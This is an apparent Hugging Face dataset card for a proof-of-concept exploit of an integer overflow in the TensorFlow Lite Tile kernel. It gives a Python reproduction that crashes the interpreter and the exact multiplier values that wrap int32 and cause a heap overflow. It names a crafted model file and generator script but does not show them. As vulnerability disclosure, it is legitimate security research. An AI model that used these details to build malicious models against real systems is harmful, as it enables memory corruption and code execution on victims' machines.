YAML Metadata Warning: empty or missing yaml metadata in repo card (https://huggingface.co/docs/hub/datasets-cards)
TFLite Tile Kernel RCE PoC
Integer overflow in TFLite Tile kernel (tile.cc:51) → heap buffer overflow with attacker-controlled data → RCE.
Files
tile_rce_precise.tflite— 492-byte PoC model (valid TFL3 FlatBuffer)build_tile_rce.py— Generator script
Reproduce
import tensorflow as tf
interpreter = tf.lite.Interpreter(model_path="tile_rce_precise.tflite")
interpreter.allocate_tensors() # CRASH: SIGSEGV from heap corruption
Root Cause
tile.cc:51: output_size->data[i] = SizeOfDimension(input, i) * multipliers_data[i]
13 × 330,382,100 = 2³² + 4 → overflows int32 to 4. Output allocated for 4 elements (32 bytes), but CopyMultipleTimes writes ~17 GB of attacker-controlled data from the model file.
- Downloads last month
- 5